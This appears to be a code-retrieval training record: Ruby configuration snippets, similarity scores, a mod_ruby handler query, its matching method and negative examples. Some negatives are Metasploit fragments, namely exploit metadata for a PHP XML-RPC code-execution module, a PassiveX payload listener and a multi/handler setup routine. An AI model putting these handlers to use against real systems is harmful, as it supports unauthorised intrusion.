"def reloadable(config)\n if(config.is_a?(Bogo::Config))\n reloader\n memoize(:bogo_reloadable_configs, :global){ [] }.push(config.object_id).uniq!\n else\n raise TypeError.new \"Expecting type `Bogo::Config`. Received: `#{config.class}`\"\n end\n true\n end",
"def configure(conf)\n super\n setfifo(conf)\n end",
"def update_config(options = {})\n @logger.debug(\"config changed: #{options.inspect}\")\n @urlmapping = options[:urlmapping] || []\n @filters = options[:filters] || []\n end",
"def configure(root_config)\n end",
"def configure(root_config)\n end",
"def configure(config)\n setup_logging(config[\"logging\"])\n\n @kairos_host = config[\"kairos_host\"]\n\n @port = config[\"port\"]\n @connection_pool = config[\"connection_pool\"]\n end",
"def setup_config(config=nil, &block)\n @config = config || ConfigStruct.block_to_hash(block)\n end",
"def set_rs_config(config)\n config = config.dup\n config['version'] += 1\n cmd = {replSetReconfig: config}\n if ClusterConfig.instance.fcv_ish >= '4.4'\n # Workaround for https://jira.mongodb.org/browse/SERVER-46894\n cmd[:force] = true\n end\n result = admin_client.database.command(cmd)\n doc = result.reply.documents.first\n if doc['ok'] != 1\n raise 'Failed to reconfigure RS'\n end\n end",
"def reset!(reset_config=false)\n queue.clear\n ActiveSupport::Deprecation.behavior = @original_behavior if @original_behavior\n ActiveSupport::Notifications.unsubscribe(@subscriber) if @subscriber\n @registered = false\n\n if reset_config\n self.config = DEFAULT_CONFIG.dup\n @configured = false\n end\n end",
"def configure(&block)\n self.config = Config.new(self)\n config.instance_eval(&block)\n\n attr_accessor *config.accessors\n attr_reader *config.setters.keys\n\n config.setters.each do |name, definition|\n define_method(:\"#{name}=\", definition)\n end\n end",
"def reset_backend_config(mountconf)\n set_unmount_backend_config mountconf\n set_mount_backend_config mountconf\n end",
"def configure\n yield(config)\n end",
"def _configure &blk\n proxy = @receiver == @receiver_class ? self.dup : self\n proxy.__configure = blk\n proxy\n end",
"def configure(root_config)\n\n end",
"def reconfigure\n configure_backdat\n configure_logging\n end",
"def reconfig\n KEYS_AND_QUESTIONS.each do |key, question|\n ask_question_and_force_update_config(question, key)\n end\n config_update_success\n end",
"def update_subject_config(subject, config)\n put \"/config/#{subject}\", { body: config.to_json }\n end",
"def configure\n yield(config)\n end",
"def config=(config)\n @config = config.clone\n\n %w(safe lsi highlighter baseurl exclude include future unpublished\n show_drafts limit_posts keep_files).each do |opt|\n send(\"#{opt}=\", config[opt])\n end\n\n # keep using `gems` to avoid breaking change\n self.gems = config[\"plugins\"]\n\n configure_cache\n configure_plugins\n configure_theme\n configure_include_paths\n configure_file_read_opts\n\n self.permalink_style = config[\"permalink\"].to_sym\n\n # Read in a _config.yml from the current theme-gem at the very end.\n @config = load_theme_configuration(config) if theme\n @config\n end",
"def set_config(*args); end",
"def set_config(*args); end",
"def set_config(*args); end",
"def set_config(*args); end",
"def set_config(*args); end",
"def method_missing(method, *_args, &_block)\n @config.send(method)\n end",
"def configure(config)\n setup_logging(config[\"logging\"])\n\n @kairos_host = config[\"kairos_host\"]\n\n @kairos_port = config[\"kairos_port\"]\n\n @rabbit_host = config[\"rabbit_host\"]\n @rabbit_user = config[\"rabbit_user\"]\n @rabbit_port = config[\"rabbit_port\"]\n @rabbit_pwd = config[\"rabbit_pwd\"]\n\n @connection_pool = config[\"connection_pool\"]\n\n @interval = config[\"interval\"]\n end",
"def reconfigure(&block)\n root_notifier.reconfigure(&block)\n end",
"def configure &blk\n instance_eval &blk\n end",
"def configure(root_config)\n super(root_config)\n end",
"def config_load(config); end",
"def config(&b)\n b.call\nend",
"def configure(root_config)\n super(root_config)\n end",
"def config_updated(config)\n puts green(\"Config updated at: #{config}\")\n end",
"def patch_config(new_config)\n exclusively do\n tmp = dump_config\n tmp.update(new_config)\n load_config_hash(tmp)\n save_config\n end\n end",
"def init(config)\n config.each{|k, v|\n @config[k] = v\n }\n end",
"def update_config(config)\n\n config['languages'] ||= []\n config['language_default'] ||= config['languages'].first;\n\n # set the default value of `i18ndir` to `_i18n`\n config['i18ndir'] ||= \"_i18n\";\n\n %w[languages language_default].each do |opt|\n self.send(\"#{opt}=\", config[opt])\n end\n end",
"def configure(c)\n # passed config\n c.merge!(@passed_config)\n end",
"def reload_config\n @config = YAML.load_file('config/mse_router_info.yml')\n end",
"def configure(config_obj=nil)\n if @config.nil? and config_obj.nil?\n raise StandardError, \"Need to supply Woodchuck::Config object\"\n elsif @config.nil?\n @config = config_obj \n end\n \n # Set up all the log sources\n input_types = Woodchuck::Input.class_variable_get(:@@input_types)\n @config.inputs.each do |type,sources|\n klass = input_types[type]\n if klass.nil?\n raise StandardError, \"Unknown input type of #{type}\"\n end\n sources.each do |settings|\n settings[:queue] = @output_queue.clone\n @inputs << Woodchuck::Input::const_get(klass).new(settings)\n end\n end\n \n # Setup all the filters \n\n \n # Setup all the output locations\n output_types = Woodchuck::Output.class_variable_get(:@@output_types)\n @config.outputs.each do |type,destinations|\n klass = output_types[type]\n if klass.nil?\n raise StandardError, \"Unknown output type of #{type}\"\n end\n destinations.each do |settings|\n @outputs << Woodchuck::Output::const_get(klass).new(settings)\n end\n end\n \n #options[:log_level] ||= :info\n #@logger = Woodchuck::Logger.new(::STDOUT)\n #@logger.level = options[:log_level]\n \n self\n end",
"def initialize(config)\n @reactor = config.reactor\n incoming = Address.from_string(config.incoming_endpoint.to_s)\n outgoing = Address.from_string(config.outgoing_endpoint.to_s)\n\n # setup the handlers for processing messages\n @handler_in = Handler.new(config, incoming, :in)\n @handler_out = Handler.new(config, outgoing, :out)\n\n # create each socket and pass in the appropriate handler\n @incoming_sock = @reactor.xrep_socket(@handler_in)\n @outgoing_sock = @reactor.xreq_socket(@handler_out)\n\n # set each handler's outgoing socket\n @handler_in.socket_out = @outgoing_sock\n @handler_out.socket_out = @incoming_sock\n end",
"def internalizeConfig(config)\r\n super(config)\r\n @server = config['Server' ] || Socket.gethostname\r\n @repository_name = config[\"RepositoryBase\"] || nil\r\n @uri = config[\"Uri\" ] || false\r\n @max_items = config[\"MaxItems\" ] || 100\r\n @debug = config[\"Debug\" ] || false\r\n @localhost = _targetServerIsLocalhost(@server)\r\n\r\n if !@repository_name.end_with?('.git')\r\n @repository_name += '/.git'\r\n end\r\n\r\n if ['False', 'false', 'No', 'no', 'Off', 'off', '0'].include?(@debug)\r\n @debug = false\r\n end\r\n end",
"def config=(config)\n @config = config.kind_of?(Hash) ? OpenStruct.new(config) : config\n end",
"def set_config\n @config = Config.find(params[:id])\n end",
"def set_config\n @config = Config.find(params[:id])\n end",
"def configure(&blk)\n instance_eval &blk\n end",
"def load_config(navigation_context = :default)\n if environment == 'production'\n update_config(navigation_context)\n else\n update_config!(navigation_context)\n end\n end",
"def config=(cfg) # :nodoc:\n fail ArgumentError, \"No config provided\" unless cfg\n @plugins = Plugins.new\n @config = cfg\n resolve_config!\n end",
"def reset_config\n\t\t\t@config = {}\n\t\tend",
"def configure(c)\n c.merge!(@passed_config)\n end",
"def shared_config(config)\n config = apply_adapter_name(config)\n extract_base_config(config)\n end",
"def configure(conf)\n super\n end",
"def add_subconfig(config_name)\n define_config_methods(config_name)\n self.send(\"#{config_name}=\", RubyConfig.new)\n end",
"def initialize(config)\n @reactor = config.reactor\n incoming = Address.from_string(config.incoming_endpoint.to_s)\n outgoing = Address.from_string(config.outgoing_endpoint.to_s)\n\n # setup the handlers for processing messages\n @handler_in = Handler.new(config, incoming)\n @handler_out = Handler.new(config, outgoing)\n\n # create each socket and pass in the appropriate handler\n @incoming_sock = @reactor.sub_socket(@handler_in)\n @outgoing_sock = @reactor.pub_socket(@handler_out)\n\n # set each handler's outgoing socket\n @handler_in.socket_out = @outgoing_sock\n @handler_out.socket_out = @incoming_sock\n end",
"def update_click_config\n if @mobiles.length > 0\n if @bstype == 'nec'\n new_config = gen_nec_config\n else\n new_config = gen_airspan_config\n end\n else\n new_config = ''\n end\n\n debug(\"Loading new click configuration for datapath #{name}\")\n begin\n @click_socket.send(\"WRITE hotconfig #{new_config}\\n\", 0)\n rescue Errno::EPIPE => e\n # click has probably crashed, so don't do anything because\n # it will be automatically restarted with the new config\n debug(\"Error writing on control socket: #{e.message}\")\n else\n while line = @click_socket.gets\n case line\n when /^2\\d\\d/\n debug(\"New config loaded successfully\")\n break\n when /^5\\d\\d/\n error(\"Could not load new config, old config still running: #{line}\")\n break\n end\n end\n end\n end",
"def rehash\n self.config = @configReference\n end",
"def config=(config = {})\n @config = config.is_a?(Hash) ? config : {}\n config = config.split(\",\") if config.is_a?(String)\n if config.is_a?(Array)\n config.each do |c|\n c = c.split(\":\", 2)\n @config[c[0]] = c[1]\n end\n end\n end",
"def method_missing method, *args, &block\n if args.empty?\n @config.send(method)\n else\n @config.send(\"#{method}=\", args.first)\n end\n end",
"def configure\n load_all_configs \n end",
"def update_configs!(config_params)\n config_params.each do |config|\n value = config[1].to_s\n #find the config\n configuration = UniversalAr::Configuration.find(config[0])\n if !configuration.nil?\n configuration.create_or_update_config(self, config[1])\n end\n end\n end",
"def after_configure(&block)\n mod = self\n config.class.set_callback(:configure, :after,\n proc { mod.instance_eval(&block) })\n end",
"def symbolize_configuration!(config)\r\n [\r\n :project_type,\r\n :environment,\r\n :output_style,\r\n :preferred_syntax,\r\n :sprite_engine,\r\n ].each do |k|\r\n config[k] = config[k].to_sym if config.key? k\r\n end\r\n\r\n config\r\n end",
"def configure(options, cfg)\n cfg = super(options, cfg)\n cfg[:offline_queueing] = options[:offline_queueing]\n cfg[:filter_params] = options[:filter_params]\n cfg\n end",
"def configure(config = {})\n config[:zookeeper_quorum] ||= 'localhost'\n config[:zookeeper_client_port] ||= '2181'\n\n @config = config\n\n init_connection\n end",
"def update_config(watchers)\n # if we support updating backends, try that whenever possible\n if @opts['do_socket']\n update_backends(watchers)\n else\n @restart_required = true\n end\n\n # generate a new config\n generate_config(watchers)\n\n end",
"def configure!(config)\n @logger = config[:logger]\n @pattern = config[:pattern] || DEFAULT_PATTERN\n find_plugins\n end",
"def [](config)\n ensure_config_file_exists\n @@config ||= HashWithIndifferentAccess.new(YAML.parse_file(CONFIG_FILE).to_ruby)\n @@config[:watch_tower].send(:[], config)\n end",
"def run\n evq = Queue.new\n\n if @config.file_path\n dir = File.dirname @config.file_path\n filter = %r{#{File.basename @config.file_path}$}\n @cfg_listener = Listen.to dir do |*args|\n next unless args.reduce(&:+).include? @config.file_path\n if @listener\n puts statusbar \"Re-loading Config File...\", &:yellow\n @listener.stop\n evq.push true\n end\n end\n @cfg_listener.start\n end\n\n # on C-c tell all listeners to stop\n Signal.trap \"INT\", \"DEFAULT\"\n\n # loop forever listening, each time the above block causes the listener\n # to stop it will re-start listening with the new config.\n while true\n do_listening\n break unless evq.pop\n @config.reload\n end\n end",
"def configure\n yield config\n end",
"def configure\n yield config\n end",
"def configure\n yield config\n end",
"def load config\n \n # TODO better place for this?\n if config['log4r_config']\n ycfg = Log4r::YamlConfigurator\n # ycfg['foo'] = bar # replaces instances of #{foo} in the YAML with bar\n ycfg.load_yaml_string(YAML.dump(config))\n end\n \n # gah - log4r expects strings, so only convert to symbols here\n config.keys_to_symbols!\n \n # load all scrapers, and mix all shared fields into them\n config[:scrapers].each_pair do |group, included|\n \n shared_setup = {}\n scraper_setups = {}\n \n # load setups\n included.each_pair do |key, value|\n target = if is_scraper?(key)\n logger.info \"Loading scraper #{group}::#{key}\"\n scraper_setups\n else\n shared_setup\n end\n\n target[key] = value\n end\n \n # create each scraper when whole setup is present\n scrapers[group] = setup_scrapers(scraper_setups, shared_setup);\n end if config[:scrapers]\n end",
"def configure\n yield(configuration)\n end",
"def configure\n yield(configuration)\n end",
"def configure\n yield(configuration)\n end"
] | [
"0.68900675",
"0.688025",
"0.5913441",
"0.5563094",
"0.55505264",
"0.55088794",
"0.5504369",
"0.5492594",
"0.5492443",
"0.548743",
"0.54773015",
"0.5467637",
"0.53247565",
"0.53247565",
"0.53195256",
"0.5310756",
"0.52964765",
"0.52872",
"0.525052",
"0.51804143",
"0.5176927",
"0.51719075",
"0.5124914",
"0.51142013",
"0.5098994",
"0.508793",
"0.5083269",
"0.50677514",
"0.5061531",
"0.505062",
"0.505062",
"0.50357825",
"0.50305283",
"0.5024478",
"0.50186074",
"0.5014932",
"0.5014446",
"0.50002974",
"0.4998409",
"0.49852017",
"0.49678263",
"0.4954703",
"0.49399754",
"0.4931283",
"0.49261734",
"0.4916478",
"0.4916478",
"0.4916478",
"0.4916478",
"0.4916478",
"0.49005285",
"0.48946947",
"0.4893301",
"0.4884434",
"0.4877543",
"0.48541334",
"0.48524076",
"0.48421404",
"0.4841158",
"0.48325872",
"0.48312923",
"0.48276508",
"0.48258063",
"0.48178428",
"0.48136896",
"0.48046285",
"0.480014",
"0.47962365",
"0.477485",
"0.477485",
"0.476883",
"0.47586966",
"0.47375685",
"0.47294357",
"0.47278377",
"0.47231415",
"0.47211933",
"0.4720126",
"0.47153327",
"0.4696679",
"0.4692999",
"0.46923348",
"0.46785137",
"0.46727312",
"0.46690816",
"0.46660686",
"0.46567774",
"0.46493065",
"0.46467215",
"0.46442223",
"0.4643922",
"0.46395296",
"0.46341413",
"0.46316513",
"0.46316513",
"0.46316513",
"0.46256375",
"0.46254107",
"0.46254107",
"0.46254107"
] | 0.6961419 | 0 |
mod_ruby Handlers Child init mod_ruby handler | def child_init( req ) # :nodoc
self.log.notice "Dispatcher configured for %s" % [ req.server.hostname ]
return Apache::OK
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def start_handler\n\tend",
"def start_handler\n end",
"def setup_handler\n end",
"def initialize(handlers)\n # the servlet base class does not consume any arguments\n # and its BasicServer base class only accepts a 'class_delim'\n # option which won't change in Puppet at all\n # thus, we don't need to pass any args to our base class,\n # and we can consume them all ourselves\n super()\n\n setup_processor\n\n # Set up each of the passed handlers.\n handlers.each do |handler|\n add_handler(handler.class.interface, handler)\n end\n end",
"def handlers=(_arg0); end",
"def initialize(interpreter, opts={})\n self.interpreter = interpreter\n self.config_basedir = opts[:config_basedir] || '/etc/apache2'\n self.mod_extensions = opts[:mod_extensions] || ['conf', 'load']\n self.mods_available = opts[:mods_available] || \"#{self.config_basedir}/mods-available\"\n self.mods_enabled = opts[:mods_enabled] || \"#{self.config_basedir}/mods-enabled\"\n self.service = opts[:service] || \"apache2\"\n self.sites_available = opts[:sites_available] || \"#{self.config_basedir}/sites-available\"\n self.sites_enabled = opts[:sites_enabled] || \"#{self.config_basedir}/sites-enabled\"\n end",
"def start_handler\n # we're just pretending to be a handler\n end",
"def pre_hook_send(handler); end",
"def scheme_handlers=(_arg0); end",
"def initialize(*args)\n if defined?(MOD_RUBY)\n unless ENV.has_key?(\"GATEWAY_INTERFACE\")\n Apache.request.setup_cgi_env\n end\n end\n if %r{HTTP/(\\d+\\.\\d+)} =~ ENV[\"SERVER_PROTOCOL\"]\n httpv = $1\n end\n @config = WEBrick::Config::HTTP.dup.update(\n :ServerSoftware => ENV[\"SERVER_SOFTWARE\"] || \"null\",\n :HTTPVersion => HTTPVersion.new(httpv || \"1.0\"),\n :RunOnCGI => true, # to detect if it runs on CGI.\n :NPH => false # set true to run as NPH script.\n )\n if config = args.shift\n @config.update(config)\n end\n @config[:Logger] ||= WEBrick::BasicLog.new($stderr)\n @logger = @config[:Logger]\n @options = args\n end",
"def deploy!\n # Load all the module code files.\n Dir.glob('handlers/*.rb') { |mod| load mod }\n\n RubotHandlers.constants.each do |name|\n const = RubotHandlers.const_get name\n if const.is_a? Module\n $handlers[name.to_s.downcase] = const\n end\n end\nend",
"def initialize(args = {})\n super args\n load_module\n end",
"def prepare\n if not @http_server\n config = {}\n config[:BindAddress] = @configuration.get('beef.http.host')\n config[:Port] = @configuration.get('beef.http.port')\n config[:Logger] = WEBrick::Log.new($stdout, WEBrick::Log::ERROR)\n config[:ServerName] = \"BeEF \" + VERSION\n config[:ServerSoftware] = \"BeEF \" + VERSION\n \n @http_server = WEBrick::HTTPServer.new(config)\n \n # Create http handler for the javascript hook file\n mount(\"#{@configuration.get(\"beef.http.hook_file\")}\", true, BeEF::Core::Handlers::HookedBrowsers)\n \n # Create http handlers for all commands in the framework\n BeEF::Modules.get_loaded.each { |k,v|\n mount(\"/command/#{k}.js\", false, BeEF::Core::Handlers::Commands, k)\n }\n \n #\n # We dynamically get the list of all http handler using the API and register them\n #\n BeEF::API.fire(BeEF::API::Server::Handler, 'mount_handlers', self)\n end\n end",
"def handlers; end",
"def handlers; end",
"def handlers; end",
"def initialize\n\n # call super to make @base_engine available\n super\n \n @engine = Proc.new do |options|\n\n # check if require should be relative or not\n req = (options[['relative']].is__null | options[['relative']].isTRUE) >> 0\n \n # load the content of the file in options.code\n options.code = GalaazUtil.inline_file(options.label >> 0, req)\n\n @base_engine.call(options)\n end\n \n # Add the include engine function for processing the rb block\n add(include: @engine)\n \n end",
"def pre_hard_load(mod); end",
"def initialize!\n load_passenger\n initialize_ush_api\n initialize_debugging\n undo_bundler\n end",
"def initialize(conf, mod = Module.new)\n @config, @mod = conf, mod\n add_included_hook\n add_extended_hook\n end",
"def startup_hook; end",
"def handler; end",
"def handler; end",
"def rygsaek_modules_hook!\n yield\n end",
"def make_handlers(*args)\r\n make :handler, *args\r\n end",
"def run_init_script; end",
"def on_module_load(mod, type, name, modinfo)\n\t\t# Payload modules require custom loading as the individual files\n\t\t# may not directly contain a logical payload that a user would \n\t\t# reference, such as would be the case with a payload stager or \n\t\t# stage. As such, when payload modules are loaded they are handed\n\t\t# off to a special payload set. The payload set, in turn, will\n\t\t# automatically create all the permutations after all the payload\n\t\t# modules have been loaded.\n\t\tif (type != MODULE_PAYLOAD)\n\t\t\t# Add the module class to the list of modules and add it to the\n\t\t\t# type separated set of module classes\n\t\t\tadd_module(mod, name, modinfo)\n\t\tend\n\n\t\tmodule_sets[type].add_module(mod, name, modinfo)\n\tend",
"def initialize(info = {})\r\n\t\tsuper(update_info(info,\r\n\t\t\t'Name' => 'PHP XML-RPC Arbitrary Code Execution',\r\n\t\t\t'Description' => %q{\r\n\t\t\t\t\tThis module exploits an arbitrary code execution flaw\r\n\t\t\t\tdiscovered in many implementations of the PHP XML-RPC module.\r\n\t\t\t\tThis flaw is exploitable through a number of PHP web\r\n\t\t\t\tapplications, including but not limited to Drupal, Wordpress,\r\n\t\t\t\tPostnuke, and TikiWiki.\r\n\t\t\t},\r\n\t\t\t'Author' => [ 'hdm', 'cazz' ],\r\n\t\t\t'License' => MSF_LICENSE,\r\n\t\t\t'Version' => '$Revision: 9929 $',\r\n\t\t\t'References' =>\r\n\t\t\t\t[\r\n\t\t\t\t\t['CVE', '2005-1921'],\r\n\t\t\t\t\t['OSVDB', '17793'],\r\n\t\t\t\t\t['BID', '14088'],\r\n\t\t\t\t],\r\n\t\t\t'Privileged' => false,\r\n\t\t\t'Platform' => ['unix', 'solaris'],\r\n\t\t\t'Payload' => {\r\n\t\t\t\t\t'Space' => 512,\r\n\t\t\t\t\t'DisableNops' => true,\r\n\t\t\t\t\t'Keys' => ['cmd', 'cmd_bash'],\r\n\t\t\t\t},\r\n\t\t\t'Targets' => [ ['Automatic', { }], ],\r\n\t\t\t'DefaultTarget' => 0,\r\n\t\t\t'DisclosureDate' => 'Jun 29 2005'\r\n\t\t\t))\r\n\r\n\r\n\t\tregister_options(\r\n\t\t\t[\r\n\t\t\t\tOptString.new('PATH', [ true, \"Path to xmlrpc.php\", '/xmlrpc.php']),\r\n\t\t\t], self.class)\r\n\r\n\t\tderegister_options(\r\n\t\t\t'HTTP::junk_params', # not your typical POST, so don't inject params.\r\n\t\t\t'HTTP::junk_slashes' # For some reason junk_slashes doesn't always work, so turn that off for now.\r\n\t\t\t)\r\n\tend",
"def handler_base_class; end",
"def post_hard_load(mod); end",
"def initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name' => 'PHP XML-RPC Arbitrary Code Execution',\n\t\t\t'Description' => %q{\n\t\t\t\tThis module exploits an arbitrary code execution flaw\n\t\t\t\tdiscovered in many implementations of the PHP XML-RPC module.\n\t\t\t\tThis flaw is exploitable through a number of PHP web\n\t\t\t\tapplications, including but not limited to Drupal, Wordpress,\n\t\t\t\tPostnuke, and TikiWiki.\n\t\t\t},\n\t\t\t'Author' => [ \n\t\t\t\t\t\t\t\t'hdm', \n\t\t\t\t\t\t\t\t'cazz', \n\t\t\t\t\t\t\t\t'James Bercegay ( http://www.gulftech.org/ )'\n\t\t\t\t\t\t\t\t# June 05, 2011\n\t\t\t\t\t\t\t\t# - Added ARCH_PHP compatibility\n\t\t\t\t\t\t\t\t# - Cleaned up , and commented code in order to help aid \n\t\t\t\t\t\t\t\t# future development.\n\t\t\t\t\t\t\t\t# - Added original advisory reference\n\t\t\t\t\t\t\t\t# - One small line change to comply with msftidy\n\t\t\t\t\t\t\t\t],\n\t\t\t'License' => MSF_LICENSE,\n\t\t\t'Version' => '$Revision: 9929 $',\n\t\t\t'References' =>\n\t\t\t\t[\n\t\t\t\t\t['CVE', '2005-1921'],\n\t\t\t\t\t['OSVDB', '17793'],\n\t\t\t\t\t['BID', '14088'],\n\t\t\t\t\t['http://www.gulftech.org/advisories/81'],\n\t\t\t\t],\n\t\t\t'Privileged' => false,\n\t\t\t'Platform' => 'php',\n\t\t\t'Arch' => ARCH_PHP,\n\t\t\t'Payload' => {\n\t\t\t\t\t'Space' => 512,\n\t\t\t\t\t'DisableNops' => true,\n\t\t\t\t},\n\t\t\t'Targets' => [ ['Automatic', { }], ],\n\t\t\t'DefaultTarget' => 0,\n\t\t\t'DisclosureDate' => 'Jun 29 2005'\n\t\t\t))\n\n\n\t\tregister_options(\n\t\t\t[\n\t\t\t\tOptString.new('PATH', [ true, \"Path to xmlrpc.php\", '/xmlrpc.php']),\n\t\t\t\t\n\t\t\t\t# Maximum size of randomly generated strings used\n\t\t\t\tOptInt.new('RLIM', [false, 'Random string limit' , 8 ]),\n\t\t\t\t\n\t\t\t\t# Very verbose output?\n\t\t\t\tOptBool.new('DBUG', [false, 'Verbose output? (Debug)' , nil ]),\n\t\t\t\t\n\t\t\t\t\n\t\t\t], self.class)\n\n\t\tderegister_options(\n\t\t\t'HTTP::junk_params', # not your typical POST, so don't inject params.\n\t\t\t'HTTP::junk_slashes' # Disable junk_slashes due to reliability issues.\n\t\t\t)\n\tend",
"def start(*)\n @module_started = true\n end",
"def setup_handler\n\t\t# Start the HTTP server service on this host/port\n\t\tself.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,\n\t\t\tdatastore['PXPORT'].to_i, datastore['PXHOST'])\n\n\t\t# Add the new resource\n\t\tservice.add_resource(datastore['PXURI'],\n\t\t\t'Proc' => Proc.new { |cli, req|\n\t\t\t\ton_request(cli, req)\n\t\t\t},\n\t\t\t'VirtualDirectory' => true)\n\n\t\tdlog(\"PassiveX listener started on http://#{datastore['PXHOST']}:#{datastore['PXPORT']}#{datastore['PXURI']}\", 'core', LEV_2)\n\n\t\tprint_status(\"PassiveX listener started.\")\n\tend",
"def initialize( mod, basePath )\n\t\t\t\tArgTest::type( \"module\", mod, Module )\n\t\t\t\tArgTest::type( \"basePath\", basePath, String )\n\t\t\t\t@mod = mod\n\t\t\t\t@basePath = File.expand_path( basePath )\n\t\t\t\t@vars = Hash[]\n\t\t\tend",
"def set_dynamic_loadable_module(opts)\n opts = check_params(opts,[:mod_info])\n super(opts)\n end",
"def handler_base_namespace; end",
"def initialize(&block)\n raise ArgumentError, \"block required\" unless block\n @actions, @with, @layouts, @views, @helpers = [], [], {}, {}, self\n @app = method(:_call)\n @root = File.dirname(eval(\"__FILE__\", block.binding))\n instance_eval(&block)\n end",
"def load_source_and_set_module; end",
"def start\n self.assign_handler(Puerto::Handlers::Setup.new, self)\n end",
"def setup\n alert_user\n\n # Reset the session counts to zero.\n reset_session_counts\n\n return if not payload_instance\n return if not handler_enabled?\n\n # Configure the payload handler\n payload_instance.exploit_config = {\n 'active_timeout' => self.active_timeout\n }\n\n # Set up the payload handlers\n payload_instance.setup_handler\n\n # Defer starting bind handlers until after exploit completion\n return if handler_bind?\n\n # Start the payload handler\n payload_instance.start_handler\n end",
"def create_initialize_files\n\n #todo 扩展根目录,注意后期同样要添加参数配置\n empty_directory 'modules' unless Dir.exist?('modules')\n\n\n empty_directory \"#{module_path}\"\n empty_directory \"#{module_path}/app\"\n empty_directory \"#{module_path}/app/controllers\"\n empty_directory \"#{module_path}/app/helpers\"\n empty_directory \"#{module_path}/app/models\"\n empty_directory \"#{module_path}/app/views\"\n empty_directory \"#{module_path}/config\"\n empty_directory \"#{module_path}/config/initializers\"\n empty_directory \"#{module_path}/config/locales\"\n empty_directory \"#{module_path}/db\"\n empty_directory \"#{module_path}/db/migrate\"\n empty_directory \"#{module_path}/lib\"\n empty_directory \"#{module_path}/lib/menus\"\n\n\n copy_file 'init_.rb', \"#{module_path}/initializers/init_#{module_name}.rb\" # 启用各模块必须的文件\n copy_file 'routes.rb', \"#{module_path}/config/routes.rb\" # 路由文件\n copy_file 'en.yml', \"#{module_path}/config/locales/en.yml\" # en多语言文件\n copy_file 'zh.yml', \"#{module_path}/config/locales/zh.yml\" # zh多语言文件\n copy_file 'init_data.rb', \"#{module_path}/lib/menus/init_data.rb\" # 配置文件,比如:菜单、功能、权限(action)等\n\n\n end",
"def init_ext()\n \n end",
"def start()\n mime_types = WEBrick::HTTPUtils::DefaultMimeTypes\n mime_types['es6'] = 'application/javascript'\n server = WEBrick::HTTPServer.new(Port: @http_port,\n DocumentRoot: @http_dir,\n MimeTypes: mime_types)\n server.logger.level = 5 - @logger.level unless @logger.nil?\n server.mount(@pre_path, Handler, self)\n server.mount('/', ExportProxy, @http_dir) if @export_proxy\n\n trap 'INT' do server.shutdown end\n server.start\n end",
"def child_init( req )\n\t\treq.server.log_info( \"Loading dispatcher configs from \" + @hostsfile + \".\" )\n\t\tArrow::Dispatcher.create_from_hosts_file( @hostsfile )\n\n\t\treturn Apache::OK\n\trescue ::Exception => err\n\t\terrmsg = \"%s failed to load dispatchers (%s): %s: %s\" % [\n\t\t\tself.class.name,\n\t\t\terr.class.name,\n\t\t\terr.message,\n\t\t\terr.backtrace.join(\"\\n \")\n\t\t]\n\n\t\tlogfile = Pathname.new( Dir.tmpdir ) + 'arrow-dispatcher-failure.log'\n\t\tlogfile.open( IO::WRONLY|IO::TRUNC|IO::CREAT ) do |ofh|\n\t\t\tofh.puts( errmsg )\n\t\t\tofh.flush\n\t\tend\n\n\t\tApache.request.server.log_crit( errmsg )\n\t\traise\n\tend",
"def initialize_modules\n # NOTE: this gets called after all the module initializers complete\n end",
"def initialize\n # list of handlers\n @error_handlers=[]\n @log_file=nil\n self.add_handler('Type Generic') do |type,context|\n if !context[:response].code.start_with?('2')\n # add generic information\n RestErrorAnalyzer.add_error(context,type,\"#{context[:request]['host']} #{context[:response].code} #{context[:response].message}\")\n end\n end\n end",
"def attach_rb_functions(js_parent_name, rb_mod)\n raise TypeError unless rb_mod.is_a? ::Module\n \n singleton = rb_mod.singleton_class\n meth_syms = rb_mod.public_methods(false).select {|meth| rb_mod.method(meth).owner == singleton }\n # NOTE: the disadvantage of `attach`ing a `Method` object or lamdba -- vs a `Proc` -- is that\n # `Proc`s will accept extra trailing args without `raise`ing `ArgumentError`, which is similar\n # to JS. To accomplish the same thing with `Method`, a method needs to be defined with a\n # trailing splat arg, e.g. `def someMethod(arg1, *ignored)`.\n meth_syms.each do |sym|\n @runtime.attach(\"#{js_parent_name}.#{sym}\", rb_mod.public_method(sym))\n end\n end",
"def attach_rb_functions(js_parent_name, rb_mod)\n raise TypeError unless rb_mod.is_a? ::Module\n \n singleton = rb_mod.singleton_class\n meth_syms = rb_mod.public_methods(false).select {|meth| rb_mod.method(meth).owner == singleton }\n # NOTE: the disadvantage of `attach`ing a `Method` object or lamdba -- vs a `Proc` -- is that\n # `Proc`s will accept extra trailing args without `raise`ing `ArgumentError`, which is similar\n # to JS. To accomplish the same thing with `Method`, a method needs to be defined with a\n # trailing splat arg, e.g. `def someMethod(arg1, *ignored)`.\n meth_syms.each do |sym|\n @runtime.attach(\"#{js_parent_name}.#{sym}\", rb_mod.public_method(sym))\n end\n end",
"def initialize()\n begin\n puts \"Eis::Runner::init called\" if $DEBUG\n @loaded_modules = []\n generate_module_list()\n handle = InputHandler.new()\n set_environment()\n rescue ArgumentError =>e\n puts \"\\e[31mERROR\\e[0m: No config file given...\" + e\n puts \"--------------------------------------------\"\n raise\n end\n end",
"def create_multi_handler(payload_to_inject,rport,rhost = '0.0.0.0')\n print_status(\"Starting connection handler at port #{rport} for #{payload_to_inject}\")\n mul = client.framework.exploits.create(\"multi/handler\")\n mul.datastore['WORKSPACE'] = session.workspace\n mul.datastore['PAYLOAD'] = payload_to_inject\n mul.datastore['LHOST'] = rhost\n mul.datastore['LPORT'] = rport\n mul.datastore['EXITFUNC'] = 'process'\n mul.datastore['ExitOnSession'] = false\n\n mul.exploit_simple(\n 'Payload' => mul.datastore['PAYLOAD'],\n 'RunAsJob' => true\n )\n print_good(\"exploit/multi/handler started!\")\n end",
"def on_module_reload(mod)\n\tend",
"def process(*args)\n init_srv\n super\n end",
